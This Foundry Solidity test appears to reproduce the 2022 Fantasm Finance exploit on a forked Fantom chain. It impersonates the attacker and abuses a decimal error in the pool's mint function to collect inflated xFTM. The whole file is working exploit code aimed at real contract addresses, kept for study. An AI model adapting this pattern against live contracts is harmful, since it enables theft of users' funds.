src/test/2022-03/Fantasm_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7contract ContractTest is Test {
8    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
9    IERC20 fsm = IERC20(0xaa621D2002b5a6275EF62d7a065A865167914801);
10    IERC20 xFTM = IERC20(0xfBD2945D3601f21540DDD85c29C5C3CaF108B96F);
11    Pool pool = Pool(payable(0x880672AB1d46D987E5d663Fc7476CD8df3C9f937));
12    address attacker = 0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400;
13    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14 
15    function setUp() public {
16        cheats.createSelectFork("fantom", 32_971_742); //fork fantom block number 32971742
17    }
18 
19    function testExploit() public {
20        cheat.prank(0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400);
21        fsm.transfer(address(this), 100_000_000_000_000_000_000);
22        emit log_named_uint("Before exploit, xFTM  balance of attacker:", xFTM.balanceOf(address(this)));
23        fsm.approve(address(pool), type(uint256).max);
24        pool.mint(100_000_000_000_000_000_000, 1); // Due to the decimal error, the _xftmOut is bigger than it is supposed to be.
25        cheat.roll(32_971_743);
26        pool.collect();
27        emit log_named_uint("After exploit, xFTM  balance of attacker:", xFTM.balanceOf(address(this)));
28    }
29}